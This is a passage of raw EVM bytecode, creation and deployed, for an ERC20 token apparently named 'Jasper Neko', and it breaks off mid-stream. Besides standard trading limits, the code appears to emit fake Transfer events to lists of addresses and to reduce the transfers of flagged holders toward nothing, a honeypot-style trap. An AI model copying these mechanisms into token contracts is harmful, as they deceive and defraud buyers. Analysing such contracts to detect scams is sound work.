fffffffffffff1681526020019081526020015f2054905092915050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fea6115e0565b73ffffffffffffffffffffffffffffffffffffffff1614611009575f80fd5b601054811115801561101d57506011548111155b611025575f80fd5b806010819055508060118190555050565b61103e61154f565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a39061333d565b60405180910390fd5b6110b581612741565b50565b6110c061154f565b601d60159054906101000a900460ff1615611110576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611107906133a5565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111ad3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a611198919061311e565b64e8d4a510006111a89190613168565b6115e7565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611217573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061123b91906133d7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e591906133d7565b6040518363ffffffff1660e01b8152600401611302929190613402565b6020604051808303815f875af115801561131e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134291906133d7565b601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c930610b5a565b5f806113d3610dac565b426040518863ffffffff1660e01b81526004016113f596959493929190613429565b60606040518083038185885af1158015611411573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114369190613488565b505050601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016114d69291906134d8565b6020604051808303815f875af11580156114f2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061151691906132a2565b506001601d60196101000a81548160ff0219169083151502179055506001601d60156101000a81548160ff021916908315150217905550565b5f806115596115e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d590613549565b60405180910390fd5b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c906135d7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613665565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161179d9190612cc9565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f906136f3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187d90613781565b60405180910390fd5b5f81116118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf9061380f565b60405180910390fd5b5f8060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561194d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119449061389d565b60405180910390fd5b5f60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036119d4574360095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b601d601a9054906101000a900460ff161561207f576119f1610dac565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611a5f5750611a2f610dac565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a9757505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad1575061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611aea5750601d60149054906101000a900460ff16155b1561207e57601d60179054906101000a900460ff16611bde57600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b9e5750600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd49061392b565b60405180910390fd5b5b601d60169054906101000a900460ff1615611da457611bfb610dac565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c83575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdc5750601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611da3574360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d57906139df565b60405180910390fd5b4360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e41575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611ee857601754831115611e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8290613a6d565b60405180910390fd5b601854611e9785610b5a565b84611ea29190613a8b565b1115611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda90613b08565b60405180910390fd5b61207d565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f85575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611fd457601754831115611fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc690613b96565b60405180910390fd5b61207c565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661207b5760185461202e85610b5a565b846120399190613a8b565b111561207a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207190613b08565b60405180910390fd5b5b5b5b5b5b601d60149054906101000a900460ff161580156120a85750601d601b9054906101000a900460ff165b156120ba576120b785846128c4565b92505b61210a8360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461292f90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121ad612161838561292f90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461297890919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612250858761292f90919063ffffffff16565b60405161225d9190612cc9565b60405180910390a35050505050565b5f8383111582906122b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122aa9190612b94565b60405180910390fd5b505f83856122c19190613bb4565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361233c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233390613c57565b60405180910390fd5b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818111156123c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b790613ce5565b60405180910390fd5b81810160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124619190612cc9565b60405180910390a3505050565b6001601d60186101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156124a5576124a4613d03565b5b6040519080825280602002602001820160405280156124d35781602001602082028036833780820191505090505b50905030815f815181106124ea576124e96131a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561258e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125b291906133d7565b816001815181106125c6576125c56131a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061262c3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e7565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161268e959493929190613de7565b5f604051808303815f87803b1580156126a5575f80fd5b505af11580156126b7573d5f803e3d5ffd5b50505050505f601d60186101000a81548160ff02191690831515021790555050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561273d573d5f803e3d5ffd5b5050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303612814575f9050612875565b5f82846128219190613168565b90508284826128309190613e6c565b14612870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286790613f0c565b60405180910390fd5b809150505b92915050565b5f6128bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129d5565b905092915050565b5f80829050600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612925576129228385612a36565b90505b8091505092915050565b5f61297083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061226c565b905092915050565b5f8082846129869190613a8b565b9050838110156129cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c290613f74565b60405180910390fd5b8091505092915050565b5f8083118290612a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a129190612b94565b60405180910390fd5b505f8385612a299190613e6c565b9050809150509392505050565b5f80603290505f60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205443612a869190613bb4565b90505f8282612a959190613168565b90505f60648211612ab257816064612aad9190613bb4565b612ab4565b5f5b90505f60648289612ac59190613168565b612acf9190613e6c565b9050612ae45f82612af190919063ffffffff16565b9550505050505092915050565b5f81831015612b005781612b02565b825b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612b41578082015181840152602081019050612b26565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612b6682612b0a565b612b708185612b14565b9350612b80818560208601612b24565b612b8981612b4c565b840191505092915050565b5f6020820190508181035f830152612bac8184612b5c565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612be582612bbc565b9050919050565b612bf581612bdb565b8114612bff575f80fd5b50565b5f81359050612c1081612bec565b92915050565b5f819050919050565b612c2881612c16565b8114612c32575f80fd5b50565b5f81359050612c4381612c1f565b92915050565b5f8060408385031215612c5f57612c5e612bb4565b5b5f612c6c85828601612c02565b9250506020612c7d85828601612c35565b9150509250929050565b5f8115159050919050565b612c9b81612c87565b82525050565b5f602082019050612cb45f830184612c92565b92915050565b612cc381612c16565b82525050565b5f602082019050612cdc5f830184612cba565b92915050565b5f805f60608486031215612cf957612cf8612bb4565b5b5f612d0686828701612c02565b9350506020612d1786828701612c02565b9250506040612d2886828701612c35565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612d5357612d52612d32565b5b8235905067ffffffffffffffff811115612d7057612d6f612d36565b5b602083019150836020820283011115612d8c57612d8b612d3a565b5b9250929050565b5f805f60408486031215612daa57612da9612bb4565b5b5f84013567ffffffffffffffff811115612dc757612dc6612bb8565b5b612dd386828701612d3e565b93509350506020612de686828701612c35565b9150509250925092565b5f60ff82169050919050565b612e0581612df0565b82525050565b5f602082019050612e1e5f830184612dfc565b92915050565b5f60208284031215612e3957612e38612bb4565b5b5f612e4684828501612c35565b91505092915050565b612e5881612bdb565b82525050565b5f602082019050612e715f830184612e4f565b92915050565b5f60208284031215612e8c57612e8b612bb4565b5b5f612e9984828501612c02565b91505092915050565b612eab81612c87565b8114612eb5575f80fd5b50565b5f81359050612ec681612ea2565b92915050565b5f805f60408486031215612ee357612ee2612bb4565b5b5f84013567ffffffffffffffff811115612f0057612eff612bb8565b5b612f0c86828701612d3e565b93509350506020612f1f86828701612eb8565b9150509250925092565b5f8060408385031215612f3f57612f3e612bb4565b5b5f612f4c85828601612c02565b9250506020612f5d85828601612c02565b9150509250929050565b5f819050919050565b5f819050919050565b5f612f93612f8e612f8984612f67565b612f70565b612c16565b9050919050565b612fa381612f79565b82525050565b5f602082019050612fbc5f830184612f9a565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115613044578086048111156130205761301f612fc2565b5b600185161561302f5780820291505b808102905061303d85612fef565b9450613004565b94509492505050565b5f8261305c5760019050613117565b81613069575f9050613117565b816001811461307f5760028114613089576130b8565b6001915050613117565b60ff84111561309b5761309a612fc2565b5b8360020a9150848211156130b2576130b1612fc2565b5b50613117565b5060208310610133831016604e8410600b84101617156130ed5782820a9050838111156130e8576130e7612fc2565b5b613117565b6130fa8484846001612ffb565b9250905081840481111561311157613110612fc2565b5b81810290505b9392505050565b5f61312882612c16565b915061313383612df0565b92506131607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461304d565b905092915050565b5f61317282612c16565b915061317d83612c16565b925082820261318b81612c16565b915082820484148315176131a2576131a1612fc2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506131e481612c1f565b92915050565b5f602082840312156131ff576131fe612bb4565b5b5f61320c848285016131d6565b91505092915050565b5f61322f61322a61322584612bbc565b612f70565b612bbc565b9050919050565b5f61324082613215565b9050919050565b5f61325182613236565b9050919050565b61326181613247565b82525050565b5f60408201905061327a5f830185613258565b6132876020830184612cba565b9392505050565b5f8151905061329c81612ea2565b92915050565b5f602082840312156132b7576132b6612bb4565b5b5f6132c48482850161328e565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613327602683612b14565b9150613332826132cd565b604082019050919050565b5f6020820190508181035f8301526133548161331b565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61338f601783612b14565b915061339a8261335b565b602082019050919050565b5f6020820190508181035f8301526133bc81613383565b9050919050565b5f815190506133d181612bec565b92915050565b5f602082840312156133ec576133eb612bb4565b5b5f6133f9848285016133c3565b91505092915050565b5f6040820190506134155f830185612e4f565b6134226020830184612e4f565b9392505050565b5f60c08201905061343c5f830189612e4f565b6134496020830188612cba565b6134566040830187612f9a565b6134636060830186612f9a565b6134706080830185612e4f565b61347d60a0830184612cba565b979650505050505050565b5f805f6060848603121561349f5761349e612bb4565b5b5f6134ac868287016131d6565b93505060206134bd868287016131d6565b92505060406134ce868287016131d6565b9150509250925092565b5f6040820190506134eb5f830185612e4f565b6134f86020830184612cba565b9392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613533602083612b14565b915061353e826134ff565b602082019050919050565b5f6020820190508181035f83015261356081613527565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6135c1602483612b14565b91506135cc82613567565b604082019050919050565b5f6020820190508181035f8301526135ee816135b5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61364f602283612b14565b915061365a826135f5565b604082019050919050565b5f6020820190508181035f83015261367c81613643565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6136dd602583612b14565b91506136e882613683565b604082019050919050565b5f6020820190508181035f83015261370a816136d1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61376b602383612b14565b915061377682613711565b604082019050919050565b5f6020820190508181035f8301526137988161375f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6137f9602983612b14565b91506138048261379f565b604082019050919050565b5f6020820190508181035f830152613826816137ed565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613887602683612b14565b91506138928261382d565b604082019050919050565b5f6020820190508181035f8301526138b48161387b565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f742061637469765f8201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b5f613915602283612b14565b9150613920826138bb565b604082019050919050565b5f6020820190508181035f83015261394281613909565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6139c9604983612b14565b91506139d482613949565b606082019050919050565b5f6020820190508181035f8301526139f6816139bd565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b5f613a57602683612b14565b9150613a62826139fd565b604082019050919050565b5f6020820190508181035f830152613a8481613a4b565b9050919050565b5f613a9582612c16565b9150613aa083612c16565b9250828201905080821115613ab857613ab7612fc2565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613af2601383612b14565b9150613afd82613abe565b602082019050919050565b5f6020820190508181035f830152613b1f81613ae6565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b5f613b80602783612b14565b9150613b8b82613b26565b604082019050919050565b5f6020820190508181035f830152613bad81613b74565b9050919050565b5f613bbe82612c16565b9150613bc983612c16565b9250828203905081811115613be157613be0612fc2565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f613c41602183612b14565b9150613c4c82613be7565b604082019050919050565b5f6020820190508181035f830152613c6e81613c35565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ccf602283612b14565b9150613cda82613c75565b604082019050919050565b5f6020820190508181035f830152613cfc81613cc3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613d6281612bdb565b82525050565b5f613d738383613d59565b60208301905092915050565b5f602082019050919050565b5f613d9582613d30565b613d9f8185613d3a565b9350613daa83613d4a565b805f5b83811015613dda578151613dc18882613d68565b9750613dcc83613d7f565b925050600181019050613dad565b5085935050505092915050565b5f60a082019050613dfa5f830188612cba565b613e076020830187612f9a565b8181036040830152613e198186613d8b565b9050613e286060830185612e4f565b613e356080830184612cba565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613e7682612c16565b9150613e8183612c16565b925082613e9157613e90613e3f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ef6602183612b14565b9150613f0182613e9c565b604082019050919050565b5f6020820190508181035f830152613f2381613eea565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613f5e601b83612b14565b9150613f6982613f2a565b602082019050919050565b5f6020820190508181035f830152613f8b81613f52565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0614bb2a14fbffb2c366d7bf42eafaac966e55f0b19e39b24e6b19f0510336864736f6c634300081700330000000000000000000000006a23d13cd4a46e6abbb69fb770af05e4824a5919
Deployed Bytecode
0x6080604052600436106101db575f3560e01c806370a0823111610101578063a9059cbb11610094578063dd62ed3e11610063578063dd62ed3e14610640578063ec1f3f631461067c578063f2fde38b146106a4578063fb201b1d146106cc576101e2565b8063a9059cbb1461058a578063ad296d9d146105c6578063bf474bed146105ee578063c2b7bbb614610618576101e2565b80638cd4426d116100d05780638cd4426d146104e45780638da5cb5b1461050c5780638f9a55c01461053657806395d89b4114610560576101e2565b806370a082311461042c578063715018a6146104685780637d1db4a51461047e57806385ecafd7146104a8576101e2565b8063293230b81161017957806349bd5a5e1161014857806349bd5a5e146103ac5780634ada218b146103d657806351bc3c85146104005780636225658914610416576101e2565b8063293230b81461031a5780632e82f1a014610330578063313ce5671461035a57806342966c6814610384576101e2565b80630faee56f116101b55780630faee56f1461026257806318160ddd1461028c57806323b872dd146102b657806326ededb8146102f2576101e2565b806302fa1f4a146101e657806306fdde03146101fc578063095ea7b314610226576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa6106e2565b005b348015610207575f80fd5b5061021061072a565b60405161021d9190612b94565b60405180910390f35b348015610231575f80fd5b5061024c60048036038101906102479190612c49565b610767565b6040516102599190612ca1565b60405180910390f35b34801561026d575f80fd5b50610276610784565b6040516102839190612cc9565b60405180910390f35b348015610297575f80fd5b506102a061078a565b6040516102ad9190612cc9565b60405180910390f35b3480156102c1575f80fd5b506102dc60048036038101906102d79190612ce2565b6107ae565b6040516102e99190612ca1565b60405180910390f35b3480156102fd575f80fd5b5061031860048036038101906103139190612d93565b610882565b005b348015610325575f80fd5b5061032e610957565b005b34801561033b575f80fd5b50610344610996565b6040516103519190612ca1565b60405180910390f35b348015610365575f80fd5b5061036e6109a9565b60405161037b9190612e0b565b60405180910390f35b34801561038f575f80fd5b506103aa60048036038101906103a59190612e24565b6109b1565b005b3480156103b7575f80fd5b506103c06109cd565b6040516103cd9190612e5e565b60405180910390f35b3480156103e1575f80fd5b506103ea6109f2565b6040516103f79190612ca1565b60405180910390f35b34801561040b575f80fd5b50610414610a05565b005b348015610421575f80fd5b5061042a610ab4565b005b348015610437575f80fd5b50610452600480360381019061044d9190612e77565b610b5a565b60405161045f9190612cc9565b60405180910390f35b348015610473575f80fd5b5061047c610ba0565b005b348015610489575f80fd5b50610492610bb3565b60405161049f9190612cc9565b60405180910390f35b3480156104b3575f80fd5b506104ce60048036038101906104c99190612e77565b610bb9565b6040516104db9190612ca1565b60405180910390f35b3480156104ef575f80fd5b5061050a60048036038101906105059190612c49565b610c0b565b005b348015610517575f80fd5b50610520610dac565b60405161052d9190612e5e565b60405180910390f35b348015610541575f80fd5b5061054a610dd4565b6040516105579190612cc9565b60405180910390f35b34801561056b575f80fd5b50610574610dda565b6040516105819190612b94565b60405180910390f35b348015610595575f80fd5b506105b060048036038101906105ab9190612c49565b610e17565b6040516105bd9190612ca1565b60405180910390f35b3480156105d1575f80fd5b506105ec60048036038101906105e79190612ecc565b610e34565b005b3480156105f9575f80fd5b50610602610ed7565b60405161060f9190612cc9565b60405180910390f35b348015610623575f80fd5b5061063e60048036038101906106399190612e77565b610edd565b005b34801561064b575f80fd5b5061066660048036038101906106619190612f29565b610f28565b6040516106739190612cc9565b60405180910390f35b348015610687575f80fd5b506106a2600480360381019061069d9190612e24565b610faa565b005b3480156106af575f80fd5b506106ca60048036038101906106c59190612e77565b611036565b005b3480156106d7575f80fd5b506106e06110b8565b005b6106ea61154f565b5f6015819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516107209190612fa9565b60405180910390a1565b60606040518060400160405280600b81526020017f4a6173706572204e656b6f000000000000000000000000000000000000000000815250905090565b5f61077a6107736115e0565b84846115e7565b6001905092915050565b601c5481565b5f6009600a610799919061311e565b64e8d4a510006107a99190613168565b905090565b5f6107ba8484846117aa565b610877846107c66115e0565b61087285604051806060016040528060288152602001613f936028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108296115e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461226c9092919063ffffffff16565b6115e7565b600190509392505050565b61088a61154f565b5f5b83839050811015610951578383828181106108aa576108a96131a9565b5b90506020020160208101906108bf9190612e77565b73ffffffffffffffffffffffffffffffffffffffff16601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161093c9190612cc9565b60405180910390a3808060010191505061088c565b50505050565b61095f61154f565b6001601d60176101000a81548160ff0219169083151502179055505f601d601a6101000a81548160ff021916908315150217905550565b601d601b9054906101000a900460ff1681565b5f6009905090565b6109b961154f565b6109ca6109c46115e0565b826122ce565b50565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60179054906101000a900460ff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a456115e0565b73ffffffffffffffffffffffffffffffffffffffff1614610a64575f80fd5b5f610a6e30610b5a565b90505f81118015610a8b5750601d60199054906101000a900460ff165b15610a9a57610a998161246e565b5b5f4790505f811115610ab057610aaf816126d9565b5b5050565b610abc61154f565b6009600a610aca919061311e565b64e8d4a51000610ada9190613168565b6019819055506009600a610aee919061311e565b64e8d4a51000610afe9190613168565b601a819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610b33919061311e565b64e8d4a51000610b439190613168565b604051610b509190612cc9565b60405180910390a1565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ba861154f565b610bb15f612741565b565b60195481565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c4b6115e0565b73ffffffffffffffffffffffffffffffffffffffff1614610c6a575f80fd5b5f610d086064610cfa848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610cad9190612e5e565b602060405180830381865afa158015610cc8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cec91906131ea565b61280490919063ffffffff16565b61287b90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610d66929190613267565b6020604051808303815f875af1158015610d82573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610da691906132a